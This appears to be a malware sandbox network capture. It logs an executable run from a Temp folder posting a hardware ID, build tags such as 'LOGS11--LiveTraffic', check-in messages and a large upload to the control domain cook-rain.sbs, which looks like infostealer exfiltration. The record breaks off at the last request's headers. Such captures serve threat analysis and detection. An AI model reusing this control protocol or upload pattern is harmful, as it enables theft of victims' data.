2024-11-18 12:30:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49885	188.114.96.3	443	6596	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:00 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YLRJJ6UUMC9ACQFP7FC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20254 Host: cook-rain.sbs
2024-11-18 12:31:00 UTC	15331	OUT	Data Raw: 2d 2d 59 4c 52 4a 4a 36 55 55 4d 43 39 41 43 51 46 50 37 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 59 4c 52 4a 4a 36 55 55 4d 43 39 41 43 51 46 50 37 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 4c 52 4a 4a 36 55 55 4d 43 39 41 43 51 46 50 37 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --YLRJJ6UUMC9ACQFP7FCContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--YLRJJ6UUMC9ACQFP7FCContent-Disposition: form-data; name="pid"3--YLRJJ6UUMC9ACQFP7FCContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 12:31:00 UTC	4923	OUT	Data Raw: fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-11-18 12:31:04 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t9r0jgiuo3cb64sr4h8tr5p70g; expires=Fri, 14-Mar-2025 06:17:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2JLIe3iE7TgGStbBLjr%2B9PrjScPdlcS8oagUS2gVsBLWwHQDAD3gbhdcoK8OKYxLONQ49Jy0%2Bvldh5t%2FfLzdYuUaoI8%2BsXgAwAyov%2BEgHtg%2FyVDEl3HDaauWPS%2BKFn3P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f999fd4dddac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=18&recv=25&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21214&delivery_rate=2403319&cwnd=252&unsent_bytes=0&cid=fa5ef837c0a14137&ts=4675&x=0"
2024-11-18 12:31:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:31:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49888	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:04 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CZD0KP8F297DNK8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: cook-rain.sbs
2024-11-18 12:31:04 UTC	1253	OUT	Data Raw: 2d 2d 43 5a 44 30 4b 50 38 46 32 39 37 44 4e 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 43 5a 44 30 4b 50 38 46 32 39 37 44 4e 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 5a 44 30 4b 50 38 46 32 39 37 44 4e 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --CZD0KP8F297DNK8Content-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--CZD0KP8F297DNK8Content-Disposition: form-data; name="pid"1--CZD0KP8F297DNK8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-18 12:31:06 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2vog8vih1bgeva372lc60ds5mc; expires=Fri, 14-Mar-2025 06:17:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XulyqO6Pjh27tFiUkgwUfCFwzWzksFJUje%2FrtsBih0DSl2LKNSXq5rR6X5mLOLBiDilLb6p%2BSYjShM49%2F9NuVBGjbb%2FSMWsN1zezLZsDCrDTjb7hJauuvKO38Hgrb%2F7r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9b7c8053476-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1204&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2164&delivery_rate=2313099&cwnd=251&unsent_bytes=0&cid=955b85b417c6fe40&ts=1353&x=0"
2024-11-18 12:31:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:31:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49889	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:04 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 12:31:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 12:31:06 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=umhg5tv7qoklin6f3qnhq51bvi; expires=Fri, 14-Mar-2025 06:17:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hOgRDghJxOb8Mj7JTIsv4rBR7nTDbovabDGfbvQRbuUu1WMmxk0CNhKkXG7aVZydw9bSQ1Xk8buH3302zEE%2Bgecw2HbV6eJLZLHz17V%2FihrfYW59ymJDFFq3vrXR4LOJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9b86c482e1b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1266&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=2157973&cwnd=251&unsent_bytes=0&cid=906558cc4138c828&ts=1141&x=0"
2024-11-18 12:31:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 12:31:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49891	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:06 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 12:31:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 12:31:08 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ugd6vith7o3fq19alq8q6c5d94; expires=Fri, 14-Mar-2025 06:17:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x9yA2fsoYZUwr4AP8ZTVQtyEhSHGmcVWdqu8SnkZQNguAFqCGcnWc5INaGugJE4PvWS4rXXG%2BbCgHsTn8WNMeXjl3Wz3sQYQmVdezWroxBwAvEBuD3jTdeXjt4aYIN%2FK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9c3f8bae7b3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1512&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=1892810&cwnd=251&unsent_bytes=0&cid=210869b8460df4e4&ts=2018&x=0"
2024-11-18 12:31:08 UTC	367	IN	Data Raw: 34 34 36 63 0d 0a 42 42 67 52 37 66 46 47 31 48 61 74 51 2f 46 67 53 41 49 6c 77 42 68 43 76 41 31 32 2b 56 52 70 6b 74 79 73 47 68 6b 64 43 41 74 2f 4f 6d 66 50 79 33 4c 34 56 4e 34 6d 30 31 6f 38 63 46 43 6c 4e 47 44 64 61 56 54 44 4d 67 6a 2b 72 38 6b 32 4f 32 74 6c 4b 54 35 2b 63 49 47 43 49 2f 68 55 79 44 76 54 57 68 4e 35 42 36 56 32 59 49 59 76 45 35 4d 32 43 50 36 2b 7a 58 46 32 62 57 52 6f 62 48 52 32 68 5a 51 6c 73 42 66 42 4c 70 51 46 4c 57 4e 50 72 6e 45 76 31 47 42 55 31 58 59 4d 36 50 36 57 4f 46 52 34 66 47 70 4a 65 57 4b 47 30 7a 76 34 44 59 38 6d 6e 30 4a 79 49 45 53 6c 65 69 37 61 61 52 32 52 50 41 48 32 76 38 68 77 61 58 52 75 59 32 78 36 64 59 53 65 4c 4b 51 61 79 79 6d 66 41 79 64 6a 42 2b 77 36 4a 38 59 76 54 4e 74 6c 4f 66 4f 76 33 Data Ascii: 446cBBgR7fFG1HatQ/FgSAIlwBhCvA12+VRpktysGhkdCAt/OmfPy3L4VN4m01o8cFClNGDdaVTDMgj+r8k2O2tlKT5+cIGCI/hUyDvTWhN5B6V2YIYvE5M2CP6+zXF2bWRobHR2hZQlsBfBLpQFLWNPrnEv1GBU1XYM6P6WOFR4fGpJeWKG0zv4DY8mn0JyIESlei7aaR2RPAH2v8hwaXRuY2x6dYSeLKQayymfAydjB+w6J8YvTNtlOfOv3
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 71 39 33 49 4e 4e 6c 47 35 67 32 44 50 71 30 77 58 4a 2f 63 6d 64 76 5a 6e 6f 7a 77 64 4d 6a 72 6c 53 58 59 62 41 48 4f 6d 64 4c 74 44 67 61 6e 6e 42 61 67 6e 59 4d 2f 50 36 57 4f 48 4e 36 61 57 70 74 64 58 43 48 6d 44 61 32 42 73 6b 73 6c 68 41 73 5a 55 6d 6f 65 54 4c 55 59 52 4b 59 50 77 44 35 75 38 6c 38 4f 7a 45 71 62 6e 34 36 4b 38 2b 79 4b 62 30 59 78 54 61 54 51 6a 55 75 58 75 4a 39 4c 4a 34 33 56 4a 38 33 44 2f 47 36 77 48 5a 2f 63 32 78 6e 61 33 56 31 68 5a 4d 6a 76 42 7a 48 49 4a 34 4a 4a 57 42 43 72 33 34 6d 30 6d 34 52 32 33 68 4c 39 36 61 4f 49 44 74 52 62 57 70 30 4f 45 61 4d 6e 53 71 78 41 6f 38 2b 33 52 74 71 5a 30 76 69 49 6d 44 51 61 68 75 4a 4e 78 6e 31 73 4e 78 30 66 6e 6c 6e 61 6d 68 36 64 6f 69 65 4b 72 41 54 7a 43 6d 58 41 79 52 73 Data Ascii: q93INNlG5g2DPq0wXJ/cmdvZnozwdMjrlSXYbAHOmdLtDgannBagnYM/P6WOHN6aWptdXCHmDa2BskslhAsZUmoeTLUYRKYPwD5u8l8OzEqbn46K8+yKb0YxTaTQjUuXuJ9LJ43VJ83D/G6wHZ/c2xna3V1hZMjvBzHIJ4JJWBCr34m0m4R23hL96aOIDtRbWp0OEaMnSqxAo8+3RtqZ0viImDQahuJNxn1sNx0fnlnamh6doieKrATzCmXAyRs
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 44 53 5a 68 53 51 50 41 2f 77 75 63 4e 39 65 48 68 70 5a 47 46 77 66 59 69 58 4b 4c 38 5a 79 53 47 55 42 69 39 79 51 71 74 32 4c 4a 34 68 56 4a 77 75 53 36 6a 2b 34 58 39 74 66 45 56 71 64 33 4d 7a 6b 4e 30 39 39 68 50 44 59 63 74 43 4c 57 56 50 71 58 77 6f 33 6e 30 52 6c 54 30 4b 2b 72 6a 50 64 58 64 35 61 6d 68 6d 66 48 2b 50 6c 43 4f 6b 42 73 6f 6e 67 51 68 71 4c 67 65 6c 59 6d 43 47 4c 79 4b 4c 49 52 72 6d 2f 50 74 37 64 58 46 74 66 79 5a 6c 50 5a 62 54 49 37 70 55 6c 32 47 59 41 69 5a 6e 54 36 52 2b 4b 4e 46 67 48 59 6b 33 42 2f 36 73 79 58 68 79 63 57 56 6c 62 33 64 30 67 70 67 75 75 78 44 49 49 4e 4e 4d 61 6d 64 66 34 69 4a 67 36 48 38 5a 6c 78 67 41 2f 4c 65 4f 5a 7a 56 6d 4b 6d 35 71 4f 69 76 50 6c 79 69 2b 48 73 41 6f 6d 51 67 6c 61 55 65 71 63 Data Ascii: DSZhSQPA/wucN9eHhpZGFwfYiXKL8ZySGUBi9yQqt2LJ4hVJwuS6j+4X9tfEVqd3MzkN099hPDYctCLWVPqXwo3n0RlT0K+rjPdXd5amhmfH+PlCOkBsongQhqLgelYmCGLyKLIRrm/Pt7dXFtfyZlPZbTI7pUl2GYAiZnT6R+KNFgHYk3B/6syXhycWVlb3d0gpguuxDIINNMamdf4iJg6H8ZlxgA/LeOZzVmKm5qOivPlyi+HsAomQglaUeqc
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 54 67 33 5a 54 73 4a 48 70 54 54 6c 65 55 43 6c 35 4e 47 72 50 6c 43 6a 32 54 49 38 74 6b 41 34 69 62 30 47 72 64 69 72 58 5a 42 69 51 4d 67 66 35 75 38 68 35 66 6e 70 72 62 57 70 77 64 59 79 51 4b 37 6b 62 78 32 48 64 51 69 31 34 42 2f 6f 36 42 63 6c 6b 47 70 31 32 46 4c 36 6e 6a 6e 39 33 50 7a 49 70 61 6e 4e 31 69 5a 59 6f 74 78 4c 48 4a 4a 73 47 4b 32 5a 42 6f 58 55 6b 32 32 34 62 6e 7a 6f 46 2b 72 2f 50 64 48 42 77 59 57 77 6d 4e 44 4f 49 69 32 54 75 56 50 34 69 68 52 55 36 62 41 65 39 4e 44 6d 65 61 42 6a 62 62 6b 76 78 72 4d 52 79 64 58 70 6c 62 47 56 31 64 49 4b 56 4b 4c 77 64 78 79 65 63 43 7a 68 6a 53 36 78 39 4c 74 4a 68 47 5a 45 31 42 72 44 77 6a 6e 39 6a 50 7a 49 70 53 6e 31 2b 6f 5a 67 6f 73 56 54 51 62 34 70 43 4c 57 77 48 2b 6a 6f 73 31 47 Data Ascii: Tg3ZTsJHpTTleUCl5NGrPlCj2TI8tkA4ib0GrdirXZBiQMgf5u8h5fnprbWpwdYyQK7kbx2HdQi14B/o6BclkGp12FL6njn93PzIpanN1iZYotxLHJJsGK2ZBoXUk224bnzoF+r/PdHBwYWwmNDOIi2TuVP4ihRU6bAe9NDmeaBjbbkvxrMRydXplbGV1dIKVKLwdxyecCzhjS6x9LtJhGZE1BrDwjn9jPzIpSn1+oZgosVTQb4pCLWwH+jos1G
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 43 4c 4b 50 32 48 74 74 64 47 64 6c 4a 6d 55 39 6c 74 4d 6a 75 6c 53 58 59 5a 55 4e 49 32 4e 49 6f 33 4d 73 30 32 6f 64 6e 6a 63 4e 39 4c 54 45 65 48 31 35 61 32 78 73 65 58 4b 46 6d 69 4f 2b 45 38 77 7a 30 30 78 71 5a 31 2f 69 49 6d 44 33 61 41 61 56 4a 6b 76 76 38 4e 63 34 66 48 4d 71 4d 53 5a 2b 65 59 43 58 49 37 6f 53 79 69 65 65 41 79 56 68 52 36 31 2b 4b 39 64 70 46 5a 59 7a 42 76 53 73 78 48 4e 30 63 32 4e 6c 61 7a 6f 39 7a 35 51 38 39 6b 79 50 45 4a 34 4d 4a 47 64 52 34 6d 56 75 78 79 38 54 6c 33 5a 54 73 4c 2f 43 64 33 68 77 61 57 70 6e 63 47 47 64 6e 79 32 2b 45 63 4d 71 6e 51 51 34 5a 6b 69 72 65 53 50 58 61 42 79 58 50 41 6a 33 2f 6f 41 34 66 47 63 71 4d 53 5a 5a 5a 4a 2b 65 5a 4b 6c 61 31 6d 47 55 44 6d 6f 34 42 36 70 33 4b 4e 52 72 45 35 59 Data Ascii: CLKP2HttdGdlJmU9ltMjulSXYZUNI2NIo3Ms02odnjcN9LTEeH15a2xseXKFmiO+E8wz00xqZ1/iImD3aAaVJkvv8Nc4fHMqMSZ+eYCXI7oSyieeAyVhR61+K9dpFZYzBvSsxHN0c2Nlazo9z5Q89kyPEJ4MJGdR4mVuxy8Tl3ZTsL/Cd3hwaWpncGGdny2+EcMqnQQ4ZkireSPXaByXPAj3/oA4fGcqMSZZZJ+eZKla1mGUDmo4B6p3KNRrE5Y
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 63 35 38 66 33 68 76 61 6d 70 78 64 49 79 63 49 4c 38 61 78 69 37 54 54 47 70 6e 58 2b 49 69 59 50 39 30 46 35 63 37 53 2b 2f 77 31 7a 68 38 63 79 6f 78 4a 6e 5a 39 69 70 4d 75 73 42 44 4b 4a 35 6b 48 4b 6d 74 45 72 58 34 6d 32 6d 41 55 6b 44 38 4b 39 72 76 45 63 33 31 79 61 57 39 67 4f 6a 33 50 6c 44 7a 32 54 49 38 42 69 41 38 6d 5a 77 65 39 4e 44 6d 65 61 42 6a 62 62 6b 76 37 73 73 70 2f 65 33 4a 70 59 57 4e 2b 65 59 71 54 4c 4b 51 63 7a 79 61 42 45 43 70 70 51 71 35 35 49 4e 70 70 48 5a 30 31 44 37 44 77 6a 6e 39 6a 50 7a 49 70 53 33 5a 30 70 70 51 2f 39 67 75 42 4f 4e 4d 46 4a 69 41 66 34 6e 73 72 31 47 41 5a 6d 44 41 49 2b 37 76 45 65 58 78 33 5a 33 74 6c 64 58 79 4c 6b 79 75 77 45 73 34 75 6c 51 55 6a 59 55 2b 6c 4f 6d 36 65 61 41 7a 62 62 6b 76 65 Data Ascii: c58f3hvampxdIycIL8axi7TTGpnX+IiYP90F5c7S+/w1zh8cyoxJnZ9ipMusBDKJ5kHKmtErX4m2mAUkD8K9rvEc31yaW9gOj3PlDz2TI8BiA8mZwe9NDmeaBjbbkv7ssp/e3JpYWN+eYqTLKQczyaBECppQq55INppHZ01D7Dwjn9jPzIpS3Z0ppQ/9guBONMFJiAf4nsr1GAZmDAI+7vEeXx3Z3tldXyLkyuwEs4ulQUjYU+lOm6eaAzbbkve
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 73 78 4b 6d 59 6d 49 6b 72 50 6d 69 4f 74 42 64 6b 73 67 77 56 71 58 77 6e 69 59 6d 43 47 4c 79 47 59 4f 41 58 33 71 4e 38 31 58 47 6c 67 62 6e 5a 39 5a 49 44 54 61 76 59 53 6a 33 6e 41 54 47 70 6b 56 75 49 69 63 49 77 30 51 63 68 68 57 36 4b 68 67 47 45 37 61 53 6f 78 4e 44 51 7a 6e 64 4e 38 39 6c 50 4d 4d 34 45 45 4b 58 5a 45 35 55 51 65 2b 58 55 5a 6e 53 45 61 7a 6f 44 4a 59 6e 5a 35 66 58 67 71 62 33 43 42 6e 53 4f 67 56 49 46 68 6e 45 4a 79 57 51 66 71 4f 68 2b 51 4c 77 7a 62 62 6b 76 46 76 63 42 32 66 47 6c 37 4a 45 46 67 66 6f 6d 45 4e 66 5a 61 6a 79 66 54 57 6e 6f 75 42 36 5a 72 59 49 59 2f 52 73 42 6a 57 4b 66 75 6e 47 63 31 5a 69 70 2f 4a 69 49 68 77 64 4d 32 39 6b 79 50 5a 70 41 51 4f 47 5a 45 74 48 6c 6e 34 46 45 36 6e 44 41 4f 39 36 36 4d 56 Data Ascii: sxKmYmIkrPmiOtBdksgwVqXwniYmCGLyGYOAX3qN81XGlgbnZ9ZIDTavYSj3nATGpkVuIicIw0QchhW6KhgGE7aSoxNDQzndN89lPMM4EEKXZE5UQe+XUZnSEazoDJYnZ5fXgqb3CBnSOgVIFhnEJyWQfqOh+QLwzbbkvFvcB2fGl7JEFgfomENfZajyfTWnouB6ZrYIY/RsBjWKfunGc1Zip/JiIhwdM29kyPZpAQOGZEtHln4FE6nDAO966MV
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 4f 61 48 31 79 6d 59 4d 7a 75 56 53 42 59 5a 56 43 63 6a 49 4a 34 6e 34 78 6e 6a 64 45 79 57 31 65 6f 2b 6d 65 4b 6d 51 78 63 79 6c 77 4f 69 76 64 33 57 53 6b 56 4a 64 68 31 41 45 34 63 6b 47 68 62 43 4f 5a 55 53 71 38 4f 41 7a 78 71 4e 35 76 64 44 42 45 58 30 64 45 54 5a 71 51 4b 72 67 54 32 54 44 54 54 47 70 76 42 2f 70 44 59 4a 59 76 4b 39 56 32 45 37 44 6d 6a 6b 31 34 63 57 52 75 63 47 73 2b 71 4a 30 6a 74 77 4c 66 4e 70 78 4e 42 46 5a 6d 34 6a 52 67 32 43 39 4d 79 58 68 4c 39 4b 2b 4f 49 43 73 74 4d 54 77 31 4c 53 50 64 6a 47 71 76 56 4e 6c 68 79 31 42 6b 49 46 58 69 49 6d 43 5a 62 41 61 4a 4d 41 6a 6d 76 59 6c 47 52 56 68 6b 62 6d 64 73 59 34 4b 66 42 62 55 46 78 52 2b 74 46 79 6c 75 53 61 56 73 4d 5a 34 68 56 4a 52 32 55 38 6e 2b 68 6a 68 45 4d 53 Data Ascii: OaH1ymYMzuVSBYZVCcjIJ4n4xnjdEyW1eo+meKmQxcylwOivd3WSkVJdh1AE4ckGhbCOZUSq8OAzxqN5vdDBEX0dETZqQKrgT2TDTTGpvB/pDYJYvK9V2E7Dmjk14cWRucGs+qJ0jtwLfNpxNBFZm4jRg2C9MyXhL9K+OICstMTw1LSPdjGqvVNlhy1BkIFXiImCZbAaJMAjmvYlGRVhkbmdsY4KfBbUFxR+tFyluSaVsMZ4hVJR2U8n+hjhEMS
2024-11-18 12:31:08 UTC	1369	IN	Data Raw: 64 4a 2b 51 5a 70 6f 54 77 69 32 74 50 42 31 78 51 4c 49 34 42 74 31 35 46 39 74 34 53 2b 6a 2b 6c 6a 68 57 62 57 31 35 5a 54 68 66 69 4a 34 6f 39 67 75 42 4f 4e 4d 55 61 6a 67 55 37 44 6f 79 6e 6a 64 55 33 44 55 5a 34 72 6a 4e 62 6e 67 34 56 46 64 4c 61 48 53 66 6b 47 61 48 47 63 73 33 68 67 45 36 5a 33 6d 63 56 7a 4c 5a 66 78 66 5a 45 7a 47 79 6a 39 68 37 65 33 46 74 4b 53 67 36 61 38 2f 4c 5a 4a 73 47 79 44 47 51 51 41 39 61 42 5a 4e 73 49 39 35 68 45 39 73 70 52 65 6e 2b 32 44 67 6a 4c 43 51 70 64 44 6f 72 7a 39 51 71 75 78 58 4d 4c 35 41 51 4f 47 5a 45 74 48 6c 6e 34 46 45 37 6b 44 63 62 2f 61 2f 44 66 47 31 42 56 45 35 67 66 33 53 78 72 52 4f 6e 45 39 39 6a 74 51 45 38 59 77 66 73 4f 6a 69 65 4e 31 53 38 4d 41 37 33 2f 6f 41 34 66 7a 38 79 4b 55 6c Data Ascii: dJ+QZpoTwi2tPB1xQLI4Bt15F9t4S+j+ljhWbW15ZThfiJ4o9guBONMUajgU7DoynjdU3DUZ4rjNbng4VFdLaHSfkGaHGcs3hgE6Z3mcVzLZfxfZEzGyj9h7e3FtKSg6a8/LZJsGyDGQQA9aBZNsI95hE9spRen+2DgjLCQpdDorz9QquxXML5AQOGZEtHln4FE7kDcb/a/DfG1BVE5gf3SxrROnE99jtQE8YwfsOjieN1S8MA73/oA4fz8yKUl

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49892	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:07 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0938D5O4RMTXRVHK8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572373 Host: cook-rain.sbs
